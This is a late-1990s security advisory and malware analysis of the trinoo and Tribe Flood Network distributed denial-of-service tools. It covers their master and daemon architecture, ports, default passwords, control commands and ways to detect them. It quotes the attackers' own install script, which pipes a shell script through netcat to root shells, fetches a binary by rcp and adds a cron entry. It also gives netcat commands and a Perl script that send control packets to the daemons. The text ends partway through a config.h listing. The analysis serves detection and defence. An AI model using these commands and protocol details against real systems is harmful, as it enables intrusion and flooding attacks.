COMMAND
Denial of Service Attack
SYSTEMS AFFECTED
Read below (well, your network)
PROBLEM
A new form of Denial of Service (DoS) attack has been developed
that is more powerful than any previous DoS attack observed on the
Internet. A Denial of Service attack is designed to bring a
network down by flooding it with large amounts of traffic. This
DoS attack uses an array of compromised systems to launch a
distributed flood attack against a single target. ISS X-Force
considers this attack as a high risk since it can potentially
impact a wide number of organizations. It has proven to be
successful and is difficult to defend against.
Over the last two months, several high-capacity commercial and
educational networks have been affected by this type of DoS
attack. Two known exploit tools are currently being used to
implement this attack: trin00 and Tribe Flood Network (TFN).
Attackers can install these tools on hundreds of compromised
machines and direct a network of trin00/TFN machines to initiate
an attack against a single victim. This attack occurs
simultaneously from these machines, making it more dangerous than
any DoS attack launched from any single machine.
The trin00 distributed denial-of-service system consists of 3
parts:
The Client:
The client is not part of the trin00 package. The telnet or
Netcat program is used to connect to port 27665 of the "master."
An attacker connects to a master to control the "broadcasts"
that will flood a target. (The master and broadcast are
described later in this section.)
The Master:
The master is contained in the file master.c in the trin00
package. While running, it waits for UDP packets going to port
31335. These packets are registration packets from the
"broadcast." It also waits for connections to TCP port 27665.
When a client connects to port 27665, the master expects the
password to be sent before it returns any data. The default
password is "betaalmostdone". When the master is run, it
displays a "??" prompt, waiting for a password. The password is
"gOrave".
The Broadcast (or Bcast):
The broadcast is the code in trin00 that performs the actual
flooding. It is ns.c in the trin00 package. When the broadcast
is compiled, the IP addresses of the masters that can control it
are hardcoded into the program. Starting the broadcast, a UDP
packet is sent to port 31335 of each master IP, containing the
data "*HELLO*". This packet registers the broadcast with the
master. An attacker can then connect to the master and use the
daemons to send a UDP flood.
The DoS attack that trin00 broadcasts use is a UDP flood. Trin00
sends a large number of UDP packets containing 4 data bytes (all
zeros) and coming from one source port to random destination ports
on the target host. The target host returns ICMP Port Unreachable
messages. The target host slows down because it is busy
processing the UDP packets, and at this point there will be little
or no network bandwidth left.
Dave Dittrich posted analysing of trin00 and Tribe Flood Network
(TFN).
The following is an analysis of the DoS Project's "trinoo" (a.k.a.
"trin00") master/slave programs, which implement a distributed
network denial of service tool. Trinoo daemons were originally
found in binary form on a number of Solaris 2.x systems, which
were identified as having been compromised by exploitation of
buffer overrun bugs in the RPC services "statd", "cmsd" and
"ttdbserverd". These attacks are described in CERT Incident Note
99-04:
http://www.cert.org/incident_notes/IN-99-04.html
The trinoo daemons were originally believed to be UDP based,
access-restricted remote command shells, possibly used in
conjunction with sniffers to automate recovering sniffer logs.
During investigation of these intrusions, the installation of a
trinoo network was caught in the act and the trinoo source code
was obtained from the account used to cache the intruders' tools
and log files. This analysis was done using this recovered source
code. Modification of the source code would change any of the
details in this analysis, such as prompts, passwords, commands,
TCP/UDP port numbers, or supported attack methods, signatures, and
features. The daemon was compiled and run on Solaris 2.5.1 and
Red Hat Linux 6.0 systems. The master was compiled and run on Red
Hat Linux 6.0. It is believed that both master and daemon have
been witnessed "in the wild" on these same platforms. Trinoo
networks are probably being set up on hundreds, perhaps thousands,
of systems on the Internet that are being compromised by remote
buffer overrun exploitation. Access to these systems is probably
being perpetuated by the installation of multiple "back doors"
along with the trinoo daemons. A trinoo network of at least 227
systems -- 114 of these at Internet2 sites -- was used on August
17, 1999 to flood a single system at the University of Minnessota,
swamping the target network and rendering it unusable for over two
days. While responding to this attack, large flows were also
noticed going to at least sixteen other systems, some outside the
US.
A typical installation might go something like this.
1). A stolen account is set up as a repository for pre-compiled
versions of scanning tools, attack (i.e. buffer overrun
exploit) tools, root kits and sniffers, trinoo daemon and
master programs, lists of vulnerable hosts and previously
compromised hosts, etc. This would normally be a large
system with many users, one with little administrative
oversight, and on a high-bandwidth connection for rapid file
transfer.
2). A scan is performed of large ranges of network blocks to
identify potential targets. Targets would include systems
running various services known to have remotely exploitable
buffer overflow security bugs, such as wu-ftpd, RPC services
for "cmsd", "statd", "ttdbserverd", "amd", etc. Operating
systems being targeted appear to be primarily Sun Solaris 2.x
and Linux (due to the ready availability of network sniffers
and "root kits" for concealing back doors, etc.), but stolen
accounts on any architecture can be used for caching tools
and log files.
3). A list of vulnerable systems is then used to create a script
that performs the exploit, sets up a command shell running
under the root account that listens on a TCP port (commonly
1524/tcp, the "ingreslock" service port), and connects to
this port to confirm the success of the exploit. In some
cases, an electronic mail message is sent to an account at a
free web based email service to confirm which systems have
been compromised. The result is a list of "owned" systems
ready for setting up back doors, sniffers, or the trinoo
daemons or masters.
4). From this list of compromised systems, subsets with the
desired architecture are chosen for the trinoo network.
Pre-compiled binaries of the trinoo daemon are created and
stored on a stolen account somewhere on the Internet.
5). A script is then run which takes this list of "owned"
systems and produces yet another script to automate the
installation process, running each installation in the
background for maximum multitasking. This script uses
"netcat" ("nc") to pipe a shell script to the root shell
listening on, in this case, port 1524/tcp:
./trin.sh | nc 128.aaa.167.217 1524 &
./trin.sh | nc 128.aaa.167.218 1524 &
./trin.sh | nc 128.aaa.167.219 1524 &
./trin.sh | nc 128.aaa.187.38 1524 &
./trin.sh | nc 128.bbb.2.80 1524 &
./trin.sh | nc 128.bbb.2.81 1524 &
./trin.sh | nc 128.bbb.2.238 1524 &
./trin.sh | nc 128.ccc.12.22 1524 &
./trin.sh | nc 128.ccc.12.50 1524 &
. . .
The script "trin.sh", whose output is being piped to these
systems looks like:
echo "rcp 192.168.0.1:leaf /usr/sbin/rpc.listen"
echo "echo rcp is done moving binary"
echo "chmod +x /usr/sbin/rpc.listen"
echo "echo launching trinoo"
echo "/usr/sbin/rpc.listen"
echo "echo \* \* \* \* \* /usr/sbin/rpc.listen > cron"
echo "crontab cron"
echo "echo launched"
echo "exit"
Depending on how closely crontab files are monitored, or if
they are used at all, this may be detected easily. If cron
is not used at all by this user (usually root), it may not be
detected at all. Another method was witnessed on at least
one other system, where the daemon was named "xterm", and was
started using a script (named "c" on the system on which it
was found) that contains:
cd /var/adm/.1
PATH=.:$PATH
export PATH
xterm 1>/dev/null 2>&1
This would supposedly imply a method of running this script
on demand to set up the trinoo network. Even more subtle
ways of having trinoo daemons/masters lie in wait for
execution at a given time are easy to envision (e.g., UDP or
ICMP based client/server shells, such as LOKI, programs that
wake up periodically and open a listening TCP or UDP port,
etc.) The result of this automation is the ability for
attackers to set up the denial of service network, on widely
dispersed systems whose true owners don't even know are out
of their control, in a very short time frame.
6). Optionally, a "root kit" is installed on the system to hide
the presence of programs, files, and network connections.
This is more important on the master system, since these
systems are key to the trinoo network. (It should be noted
that in many cases, masters have been set up on Internet
Service Providers' primary name server hosts, which would
normally have extremely high packet traffic and large numbers
of TCP and UDP connections, which would effectively hide any
trinoo related traffic or activity, and would likely not be
detected. (The fact that these are primary name servers
would also tend to make the owners less likely to take the
system off the Internet when reports begin to come in about
suspected denial of service related activity.) Root kits
would also be used on systems running sniffers that, along
with programs like "hunt" (TCP/IP session hijacking tool)
are used to burrow further into other networks directly,
rather than through remote buffer overrun exploits (e.g., to
find sites to set up new file repositories, etc.)
For more on "root kits" and some ways to get around them, see:
http://staff.washington.edu/dittrich/faq/rootkits.faq
The network: attacker(s)-->master(s)-->daemon(s)-->victim(s)
------------------------------------------------------------
The trinoo network is made up of a master server ("master.c") and
the trinoo daemon ("ns.c"). A trinoo network would look like
this:
+----------+ +----------+
| attacker | | attacker |
+----------+ +----------+
| |
. . . --+------+---------------+------+----------------+-- . . .
| | |
| | |
+----------+ +----------+ +----------+
| master | | master | | master |
+----------+ +----------+ +----------+
| | |
| | |
. . . ---+------+-----+------------+---+--------+------------+-+-- . . .
| | | | |
| | | | |
+--------+ +--------+ +--------+ +--------+ +--------+
| daemon | | daemon | | daemon | | daemon | | daemon |
+--------+ +--------+ +--------+ +--------+ +--------+
The attacker(s) control one or more "master" servers, each of
which can control many "daemons" (known in the code as "Bcast",
or "broadcast" hosts.) The daemons are all instructed to
coordinate a packet based attack against one or more victim
systems. All that is then needed is the ability to establish a
TCP connection to the master hosts using "telnet" and the password
to the master server to be able to wage massive, coordinated,
denial of service attacks.
Communication ports
-------------------
Attacker to Master(s): 27665/tcp
Master to daemon(s): 27444/udp
Daemon to Master(s): 31335/udp
Remote control of the trinoo master is accomplished via a TCP
connection to port 27665/tcp. After connecting, the user must
give the proper password ("betaalmostdone"). If another
connection is made to the server while someone is already
authenticated, a warning is sent to them with the IP address of
the connecting host (it appears there is a bug that reports
incorrect IP addresses, but a warning is still communicated).
This will no doubt be fixed eventually and will then give the
attackers time to clean up and cover their tracks. Communication
from the trinoo master to daemons is via UDP packets on port
27444/udp. Command lines are space separated lines of the form:
arg1 password arg2
The default password for commands is "l44adsl", and only command
lines that contain the substring "l44" are processed.
Communication from the trinoo daemons and the master is via UDP
packets on port 31335/udp. When the daemon starts, it initially
sends "*HELLO*" to the master, which maintains a list of active
daemons that it controls (packet captured using "sniffit"):
UDP Packet ID (from_IP.port-to_IP.port): 192.168.0.1.32876-10.0.0.1.31335
45 E 00 . 00 . 23 # B1 . 5D ] 40 @ 00 . F8 . 11 . B9 . 27 . C0 . A8 . 00 . 01 .
0A . 00 . 00 . 01 . 80 . 6C l 7A z 67 g 00 . 0F . 06 . D4 . 2A * 48 H 45 E 4C L
4C L 4F O 2A *
If the trinoo master sends a "png" command to a daemon on port
27444/udp, the daemon will reply to the server that just sent the
"png" command by sending the string "PONG" on port 31335/udp:
UDP Packet ID (from_IP.port-to_IP.port): 10.0.0.1.1024-192.168.0.1.27444
45 E 00 . 00 . 27 ' 1A . AE . 00 . 00 . 40 @ 11 . 47 G D4 . 0A . 00 . 00 . 01 .
C0 . A8 . 00 . 01 . 04 . 00 . 6B k 34 4 00 . 13 . 2F / B7 . 70 p 6E n 67 g 20
6C l 34 4 34 4 61 a 64 d 73 s 6C l
UDP Packet ID (from_IP.port-to_IP.port): 192.168.0.1.32879-10.0.0.1.31335
45 E 00 . 00 . 20 13 . 81 . 40 @ 00 . F8 . 11 . 57 W 07 . C0 . A8 . 00 . 01 .
0A . 00 . 00 . 01 . 80 . 6F o 7A z 67 g 00 . 0C . 4E N 24 $ 50 P 4F O 4E N 47 G
Password protection
-------------------
Both the master and daemons are password protected to prevent
system administrators (or other hacker groups) from being able to
take control of the trinoo network. These passwords are crypt()
style passwords. They are used in a symmetric fashion, where the
encrypted password is compiled into the master and daemons and
used to compare against the clear-text version of the password
that is sent over the network (the current version does not
encrypt the actual session, so the clear-text passwords are
exposed in transit and the master control sessions are subject to
TCP session highjacking). When initially run, the master daemon
produces a prompt, waiting for a password. If the proper password
is not received, the program exits. If the proper password is
given, the process announces its execution, forks to continue
running in the background, and exits:
# ./master
?? wrongpassword
#
. . .
# ./master
?? gOrave
trinoo v1.07d2+f3+c [Sep 26 1999:10:09:24]
#
Likewise, when you connect to the remote command port (default
27665/tcp), you must also give a password:
attacker$ telnet 10.0.0.1 27665
Trying 10.0.0.1
Connected to 10.0.0.1
Escape character is '^]'.
kwijibo
Connection closed by foreign host.
. . .
attacker$ telnet 10.0.0.1 27665
Trying 10.0.0.1
Connected to 10.0.0.1
Escape character is '^]'.
betaalmostdone
trinoo v1.07d2+f3+c..[rpm8d/cb4Sx/]
trinoo>
Certain commands sent to the trinoo daemons by the master are also
password protected. This password is sent in clear text between
the master and daemons. The default passwords were:
"l44adsl" trinoo daemon password
"gOrave" trinoo master server startup ("?? " prompt)
"betaalmostdone" trinoo master remote interface password
"killme" trinoo master password to control "mdie" command
Master commands
---------------
The trinoo master supports the following commands:
die Shut down the master.
quit Log off the master.
mtimer N Set DoS timer to N seconds. N can be between 1 and
1999 seconds. If N is < 1, it defaults to 300. If N
is > 2000, it defaults to 500.
dos IP DoS the IP address specified. A command ("aaa
l44adsl IP") is sent to each Bcast host (i.e.,
trinoo daemons) telling them to DoS the specified
IP address.
mdie pass Disable all Bcast hosts, if the correct password is
specified. A command is sent ("d1e l44adsl") to each
Bcast host telling them to shut down. A separate
password is required for this command.
mping Send a PING command ("png l44adsl") to every active
Bcast host.
mdos <ip1:ip2:ip3>
Multiple DoS. Sends a multiple DoS command ("xyz
l44adsl 123:ip1:ip2:ip3") to each Bcast host.
info Print version and compile information,
msize Set the buffer size for packets sent during DoS attacks.
nslookup host Do a name service lookup of the specified host from
the perspective of the host on which the master
server is running.
killdead Attempts to weed out all dead Bcast hosts by first
sending all known Bcast hosts a command ("shi
l44adsl") that causes any active daemons to reply
with the initial "*HELLO*" string, then renames the
Bcast file (with extension "-b") so it will be
re-initialized when the "*HELLO*" packets are
received.
usebackup Switch to the backup Bcast file created by the
"killdead" command.
bcast List all active Bcast hosts.
help [cmd] Give a (partial) list of commands, or a brief
description of the command "cmd" if specified.
mstop Attempts to stop a DoS attack (not implemented, but
listed in the help command).
Daemon commands
---------------
The trinoo daemon supports the following commands:
aaa pass IP DoS the specified IP address. Sends UDP packets to
random (0-65534) UDP ports on the specified IP
addresses for a period of time (default is 120
seconds, or 1 - 1999 seconds as set by the "bbb"
command.) The size of the packets is that set by the
"rsz" command, or the default size of 1000 bytes.
bbb pass N Sets time limit (in seconds) for DoS attacks.
shi pass Sends the string "*HELLO*" to the list of master
servers compiled into the program on port 31335/udp.
png pass Sends the string "PONG" to the master that issued the
the command on port 31335/udp.
d1e pass Shut down the trinoo daemon.
rsz N Set size of buffer for DoS attacks to N bytes. (The
trinoo daemon simply malloc()s a buffer with this
size, then sends the uninitialized contents of the
buffer during an attack.)
xyz pass 123:ip1:ip2:ip3
Multiple DoS. Does the same thing as the "aaa"
command, but for multiple IP addresses.
It could be coincidence, but let's give the author some credit
and assume that three letter commands were chosen so they don't
show up in the binary as visible strings under the default
behavior of STRINGS(1). You must use the "--bytes=3" option of
GNU STRINGS(1) to see the commands:
# strings --bytes=3 ns | tail -15
socket
bind
recvfrom
l44
%s %s %s
aIf3YWfOhw.V.
aaa
bbb
shi
png
PONG
d1e
rsz
xyz
*HELLO*
The method used to install the trinoo daemon on some systems
employs a crontab entry to start the daemon every minute.
Examining crontab files would locate this entry:
* * * * * /usr/sbin/rpc.listen
The master program creates a file (default name "...") containing
the set of Bcast hosts. If the command "killdead" is used, an
"shi" command is sent to all daemons listed in "...", which
causes them to send the initial "*HELLO*" string to all masters.
The current list is renamed (default "...-b") and a new list is
then generated as each remaining live daemon sends its "*HELLO*".
The source code ("master.c") contains the following lines:
. . .
/* crypt key encrypted with the key 'bored'(so hex edit cannot get key easily?)
comment out for no encryption... */
#define CRYPTKEY "ZsoTN.cq4X31"
. . .
If the program was compiled with CRYPTKEY defined, the IP
addresses of Bcast hosts are encrypted using the Blowfish
encryption algorithm:
# ls -l ... ...-b
-rw------- 1 root root 25 Sep 26 14:46 ...
-rw------- 1 root root 50 Sep 26 14:30 ...-b
# cat ...
JPbUc05Swk/0gMvui18BrFH/
# cat ...-b
aE5sK0PIFws0Y0EhH02fLVK.
JPbUc05Swk/0gMvui18BrFH/
Assuming there is no "root kit" present to hide processes, the
master server shows the following network socket fingerprints (of
course, the names and directory locations of either program are
subject to change):
# netstat -a --inet
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 *:27665 *:* LISTEN
. . .
udp 0 0 *:31335 *:*
. . .
# lsof | egrep ":31335|:27665"
master 1292 root 3u inet 2460 UDP *:31335
master 1292 root 4u inet 2461 TCP *:27665 (LISTEN)
# lsof -p 1292
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
master 1292 root cwd DIR 3,1 1024 14356 /tmp/...
master 1292 root rtd DIR 3,1 1024 2 /
master 1292 root txt REG 3,1 30492 14357 /tmp/.../master
master 1292 root mem REG 3,1 342206 28976 /lib/ld-2.1.1.so
master 1292 root mem REG 3,1 63878 29116 /lib/libcrypt-2.1.1.so
master 1292 root mem REG 3,1 4016683 29115 /lib/libc-2.1.1.so
master 1292 root 0u CHR 4,1 2967 /dev/tty1
master 1292 root 1u CHR 4,1 2967 /dev/tty1
master 1292 root 2u CHR 4,1 2967 /dev/tty1
master 1292 root 3u inet 2534 UDP *:31335
master 1292 root 4u inet 2535 TCP *:27665 (LISTEN)
A system running a daemon would show the following:
# netstat -a --inet
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
. . .
udp 0 0 *:1024 *:*
udp 0 0 *:27444 *:*
. . .
# lsof | egrep ":27444"
ns 1316 root 3u inet 2502 UDP *:27444
# lsof -p 1316
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
ns 1316 root cwd DIR 3,1 1024 153694 /tmp/...
ns 1316 root rtd DIR 3,1 1024 2 /
ns 1316 root txt REG 3,1 6156 153711 /tmp/.../ns
ns 1316 root mem REG 3,1 342206 28976 /lib/ld-2.1.1.so
ns 1316 root mem REG 3,1 63878 29116 /lib/libcrypt-2.1.1.so
ns 1316 root mem REG 3,1 4016683 29115 /lib/libc-2.1.1.so
ns 1316 root 0u CHR 4,1 2967 /dev/tty1
ns 1316 root 1u CHR 4,1 2967 /dev/tty1
ns 1316 root 2u CHR 4,1 2967 /dev/tty1
ns 1316 root 3u inet 2502 UDP *:27444
ns 1316 root 4u inet 2503 UDP *:1024
The first weakness is that the crypt() encrypted passwords, and
some prompts and return strings, are visible in both the master
and daemon binary images. This can allow you to identify whether
you have found a master or a daemon, determine whether the
passwords are the defaults shown in this paper or not, and
potentially allow you to exploit the password weaknesses to take
control of some/all of the trinoo network yourself. If the source
code has been modified (which it no doubt will by smarter
attackers), you would need to crack the passwords, or use a
hexadecimal/ASCII editor (e.g., "xxd", part of the VIM editor
suite) and change them in the binary image, in order to, for
example, run the master to retrieve the list of daemons. If the
source has not, you can determine this fact by observing the
strings embedded in the program binary:
# strings - ns
. . .
socket
bind
recvfrom
%s %s %s
aIf3YWfOhw.V. <=== crypt() encrypted password "l44adsl"
PONG
*HELLO*
. . .
# strings - master
. . .
---v
v1.07d2+f3+c
trinoo %s
l44adsl <=== clear text version of daemon password
sock
0nm1VNMXqRMyM <=== crypt() encrypted password "gOrave"
10:09:24
Sep 26 1999
trinoo %s [%s:%s]
bind
read
*HELLO*
ZsoTN.cq4X31 <=== CRYPTKEY
bored
NEW Bcast - %s
PONG
PONG %d Received from %s
Warning: Connection from %s
beUBZbLtK7kkY <=== crypt() encrypted password "betaalmostdone"
trinoo %s..[rpm8d/cb4Sx/]
. . .
DoS: usage: dos <ip>
DoS: Packeting %s.
aaa %s %s
mdie
ErDVt6azHrePE <=== crypt() encrypted password for "mdie" command
mdie: Disabling Bcasts.
d1e %s
mdie: password?
. . .
Next, and more vulnerable, is the daemon password, which travels
the network in clear text form. Assuming you know the UDP port
on which the master communicates to the client, you can capture
the password using "sniffit", "ngrep", "tcpdump", or any network
monitoring program capable of showing UDP packet data payloads.
For example, here is the "png" command being sent to the trinoo
daemon as seen by "sniffit":
UDP Packet ID (from_IP.port-to_IP.port): 10.0.0.1.1024-192.168.0.1.27444
45 E 00 . 00 . 27 ' 1A . AE . 00 . 00 . 40 @ 11 . 47 G D4 . 0A . 00 . 00 . 01 .
C0 . A8 . 00 . 01 . 04 . 00 . 6B k 34 4 00 . 13 . 2F / B7 . 70 p 6E n 67 g 20
6C l 34 4 34 4 61 a 64 d 73 s 6C l
As was mentioned earlier, the "mdie" command in the trinoo master
is password protected in the master itself. There are a couple
ways to attack this. If you can determine the crypt() encrypted
string using the Unix "strings" command, you could (potentially)
use a password cracking utility, such as "crack", and break it.
This may take a LONG time if the password was well chosen, but it
is feasible (and the "killme" password for the "mdie" command was
cracked in less than 30 seconds on a Pentium II). You could try
to sniff the password on the wire between the attacker and the
master, but presumably this command would not be used by the
attackers often, if at all, since they want the daemons to be
active when needed for an attack. You may have more luck
sniffing the daemon password, since it is required for most
commands. This can be done on either the daemon's or master's
network (these are usually entirely different networks). It
should be easier to accomplish on the daemon's network since
there are far more daemons than masters. Since many of the
masters have been found on primary name servers, presumably there
would be more traffic on high-numbered UDP ports on networks
containing masters than on networks containing daemons (outside
of the duration of denial of service attacks, that is).
Furthermore you will likely find several daemons at a given site,
possibly as a result of detecting the original system compromise.
Once you have located a daemon, you have also found the list of IP
addresses of masters (use "strings" to see them.) You should
immediately contact these sites and convince them to closely
inspect the system for signs of intrusion, with likely "root kit"
installations to make this task more difficult, and attempt to
coordinate a response. Having found a master, the list of daemons
(which will likely include hosts at many other sites) can be
obtained by simply identifying the file which contains the list,
if unencrypted. If, however, the file is encrypted, you would
either have to decrypt the Blowfish encrypted file using the same
key compiled into the program, or by taking control of the master
and using the "bcast" command. It you have identified an active
command session to a master, which is a standard "telnet" style
TCP session, you could hijack the session using "hunt" and start
executing commands. Not knowing the "mdie" command password, you
could not disable all the daemons directly, but you COULD use the
"bcast" command and get a list of all of them (you would probably
want to do this using the "script" command to generate a
transcript of the session, as this could be a very large list).
Once you know the addresses of all the daemons, and the daemon
password (visible in "strings" output), you could then send the
proper command string in UDP packets to any suspected trinoo
daemon(s). Creation and transmission of UDP packets can be
accomplished with tools like LibNet, Spak, the Perl Net::RawIP
library, etc. (A Perl script using Net::RawIP named "trinot" has
been developed to accomplish this task). As the typical
installation of the daemon includes a crontab entry that runs it
every minute, you would have to constantly spray your entire
network to keep the daemons from re-starting. (This may be due
to programming bugs that cause the daemons to crash occasionally,
or may be to defeat system administrators who simply notice and
kill the process, but do not think to check for a crontab entry
that re-starts the daemon). The daemons can also be found on
your network by sniffing the data portion of UDP packets for the
strings "*HELLO*" and "PONG", or any of the command strings
themselves for that matter (until the source is modified to
change these strings, of course.) The "ngrep" program works
nicely for this:
# ngrep -i -x "*hello*|pong" udp
interface: eth0 (192.168.0.200/255.255.255.0)
filter: ip and ( udp )
match: *hello*|pong
. . .
#
U 192.168.0.1:32887 -> 10.0.0.1:31335
2a 48 45 4c 4c 4f 2a *HELLO*
###
U 192.168.0.1:32888 -> 10.0.0.1:31335
50 4f 4e 47 PONG
U 192.168.0.3:32815 -> 10.0.0.1:31335
50 4f 4e 47 PONG
U 192.168.0.5:32798 -> 10.0.0.1:31335
50 4f 4e 47 PONG
. . .
While not weaknesses in trinoo itself, there are also weaknesses
in the way the trinoo networks are set up. As mentioned earlier,
some systems showed crontab entries used to start the daemons
once per minute. This leaves an obvious fingerprint on crontab
files. The scripts observed to automate the installation of
trinoo networks use the Berkeley "rcp" command (use of rcp has
also been observed in a file upload capability built into newer
versions of the "Tribe Flood Network" daemon program). Monitoring
"rcp" connections (514/tcp) from multiple systems on your network,
in quick succession, to a single IP address outside your network
would be a good trigger. (Note that the use of "rcp" in a script
requires an anonymous trust relationship, usually in the form of
"+ +" in a user's ~/.rhosts file, which also will allow you to
immediately archive the contents of this account while contacting
the owners to preserve evidence).
While trinoo only implements UDP flood attacks, TFN supports ICMP
flood, UDP flood, SYN flood, and Smurf style attacks, and is
controlled via commands sent as ICMP_ECHOREPLY (ICMP Type 0)
packets. It also employs Blowfish encryption, similar to trinoo.
(TFN is analyzed below).
trinot script:
#!/usr/bin/perl -w
#
# trinot v. 1.1
# By Dave Dittrich <dittrich@cac.washington.edu>
#
# Send commands to trinoo daemon(s), causing them to PONG, *HELLO*
# to all their masters, exit, etc. Using this program (and knowledge
# of the proper daemon password), you can affect trinoo daemons
# externally and monitor packets to verify if the daemons are up,
# expose their masters, or shut them down.
#
# Needs Net::RawIP (http://quake.skif.net/RawIP)
# Requires libpcap (ftp://ftp.ee.lbl.gov/libpcap.tar.Z)
#
# Example: ./trinot host1 [host2 [...]]
# ./trinot -S host
# ./trinot -p password -P host
#
# (This code was hacked from the "macof" program, written by
# Ian Vitek <ian.vitek@infosec.se>)
require 'getopts.pl';
use Net::RawIP;
$a = new Net::RawIP({udp => {}});
chop($hostname = `hostname`);
Getopts('PSDp:f:s:d:l:i:vh');
die "usage: $0 [options] host1 [host2 [...]]\
\t-P\t\t\tSend \"png\" command\
\t-S\t\t\tSend \"shi\" command\
\t-D\t\t\tSend \"d1e\" command (default)\
\t-p password\t\t(default:\"l44adsl\")
\t-f from_host\t\t(default:$hostname)\
\t-s src_port\t\t(default:random)\
\t-d dest_port\t\t(default:27444)\
\t-l ipfile\t\tSend to IP addresses in ipfile\
\t-i interface \t\tSet sending interface (default:eth0)\
\t-v\t\t\tVerbose\
\t-h This help\n" unless ( !$opt_h );
# set default values
$opt_i = ($opt_i) ? $opt_i : "eth0";
$s_port = ($opt_s) ? $opt_s : int rand 65535;
$d_port = ($opt_d) ? $opt_d : 27444;
$pass = ($opt_p) ? $opt_p : "l44adsl";
# choose network card
if($opt_e) {
$a->ethnew($opt_i, dest => $opt_e);
} else {
$a->ethnew($opt_i);
}
$cmd = ($opt_P) ? "png $pass" :
($opt_S) ? "shi $pass" :
($opt_D) ? "d1e $pass" :
"d1e $pass";
$s_host = ($opt_f) ? $opt_f : $hostname;
if ($opt_l) {
open(I,"<$opt_l") || die "could not open file: '$opt_l'";
while (<I>) {
chop;
push(@ARGV,$_);
}
close(I);
}
foreach $d_host (@ARGV) {
$a->set({ip => {saddr => $s_host, daddr => $d_host},
udp => {source => $s_port, dest => $d_port, data => $cmd}
});
print "sending '$cmd' to $d_host\n" if $opt_v;
$a->send;
}
exit(0);
RAZOR has acquired a copy of the Trojan Trinoo. Here is a bit of
information about it. The trojan is called service.exe, but could
be renamed. It is 23145 bytes in length. To remove it you must
kill in in memory, remove its entry at
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
and delete the file from the hard drive. Make sure you delete the
correct file, and not services.exe. It listens on udp port 34555,
and will respond to pings on udp port 35555. The password is
"[]..Ks" (without the quotes). Therefore the following will
detect it.
Set up a netcat listener:
nc -u -n -l -p 35555 -v -w 100
Send a trinoo ping:
echo 'png []..Ks l44' | nc -u -n -v -w 3 192.168.1.5 34555
The listener will display PONG if a trinoo daemon is listening.
This will kill it:
echo 'd1e []..Ks l44' | nc -u -n -v -w 3 192.168.1.5 34555
After it is killed, the udp port may still be bound until a
reboot, at least on Windows 95/98. Subsequent trinoo pings will
return an ICMP destination unreachable/port unreachable if it is
down. Both Seth McGann and Todd Sabin of RAZOR contributed
heavily to the info above after disassembling the trojan.
The following is an analysis of the "Tribe Flood Network", or
"TFN", by Mixter. TFN is currently being developed and tested on
a large number of compromised Unix systems on the Internet, along
with another distributed denial of service tool named "trinoo"
(discussed before). TFN is made up of client and daemon programs,
which implement a distributed network denial of service tool
capable of waging ICMP flood, SYN flood, UDP flood, and Smurf
style attacks, as well as providing an "on demand" root shell
bound to a TCP port. TFN daemons were originally found in binary
form on a number of Solaris 2.x systems, which were identified as
having been compromised by exploitation of buffer overrun bugs in
the RPC services "statd", "cmsd" and "ttdbserverd". These attacks
are described in CERT Incident Note 99-04:
http://www.cert.org/incident_notes/IN-99-04.html
These daemons were originally believed to be some form of remote
sniffer or access-controlled remote command shells, possibly used
in conjunction with sniffers to automate recovering sniffer logs.
During investigation of a related set of intrusions and denial of
service attacks using trinoo networks (another distributed denial
of service attack tool described in another paper), the
installation of a trinoo network was caught in the act and the
trinoo and TFN source code was obtained from the stolen account
used to cache the intruders' tools and log files. This analysis
was done using this captured source code ("version 1.3 build
0053", according to the Makefile) and from observations of newer
compiled binaries of the TFN daemon. Modification of the source
code can and would change any of the details of this analysis,
such as prompts, passwords, commands, TCP/UDP port numbers, or
supported attack methods, signatures, and features. Both the
daemon and client were compiled and run on Red Hat Linux 6.0
systems. It is believed that daemon has been witnessed "in the
wild" only on Solaris 2.x systems. For an analysis of the initial
intrusion and network setup phases, see the analysis of the trinoo
network above.
The network: attacker(s)-->client(s)-->daemon(s)-->victim(s)
------------------------------------------------------------
The TFN network is made up of a tribe client program ("tribe.c")
and the tribe daemon ("td.c"). A TFN network would look like
this:
+----------+ +----------+
| attacker | | attacker |
+----------+ +----------+
| |
. . . --+------+---------------+------+----------------+-- . . .
| | |
| | |
+----------+ +----------+ +----------+
| client | | client | | client |
+----------+ +----------+ +----------+
| | |
| | |
. . . ---+------+-----+------------+---+--------+------------+-+-- . . .
| | | | |
| | | | |
+--------+ +--------+ +--------+ +--------+ +--------+
| daemon | | daemon | | daemon | | daemon | | daemon |
+--------+ +--------+ +--------+ +--------+ +--------+
The attacker(s) control one or more clients, each of which can
control many daemons. The daemons are all instructed to
coordinate a packet based attack against one or more victim
systems by the client.
Remote control of a TFN network is accomplished via command line
execution of the client program, which can be accomplished using
any of a number of connection methods (e.g., remote shell bound
to a TCP port, UDP based client/server remote shells, ICMP based
client/server shells such as LOKI, SSH terminal sessions, or
normal "telnet" TCP terminal sessions). No password is required
to run the client, although it is necessary to have the list of
daemons at hand in an "iplist" file. Communication from the TFN
client to daemons is accomplished via ICMP_ECHOREPLY packets.
There is no TCP or UDP based communication between the client and
daemons at all. (Some network monitoring tools do not show the
data portion of ICMP packets, or do not parse all of the various
ICMP type-specific fields, so it may be difficult to actually
monitor the communication between client and daemon). Running
the program without specifying any options or arguments gets you
a help screen, which shows the commands supported by TFN:
[tribe flood network] (c) 1999 by Mixter
usage: ./tfn <iplist> <type> [ip] [port]
<iplist> contains a list of numerical hosts that are ready to flood
<type> -1 for spoofmask type (specify 0-3), -2 for packet size,
is 0 for stop/status, 1 for udp, 2 for syn, 3 for icmp,
4 to bind a rootshell (specify port)
5 to smurf, first ip is target, further ips are broadcasts
[ip] target ip[s], separated by @ if more than one
[port] must be given for a syn flood, 0 = RANDOM
While the client is not password protected, per se, each "command"
to the daemons is sent in the form of a 16 bit binary number in
the id field of an ICMP_ECHOREPLY packet. (The sequence number
is a constant 0x0000, which would make it look like the response
to the initial packet sent out by the "ping" command.) The values
of these numbers, as well as macros that change the name of the
running process as seen by PS(1), are defined by the file
"config.h":
#ifndef _CONFIG_H
/* user defined values for the teletubby flood network */
#define HIDEME "tfn-daemon"
#define HIDEKIDS "tfn-child"
#define CHLD_MAX 50
/* #define ATTACKLOG "attack.log" keep a log of attacks/victims on all
hosts running td for debugging etc. (hint: bad idea) */
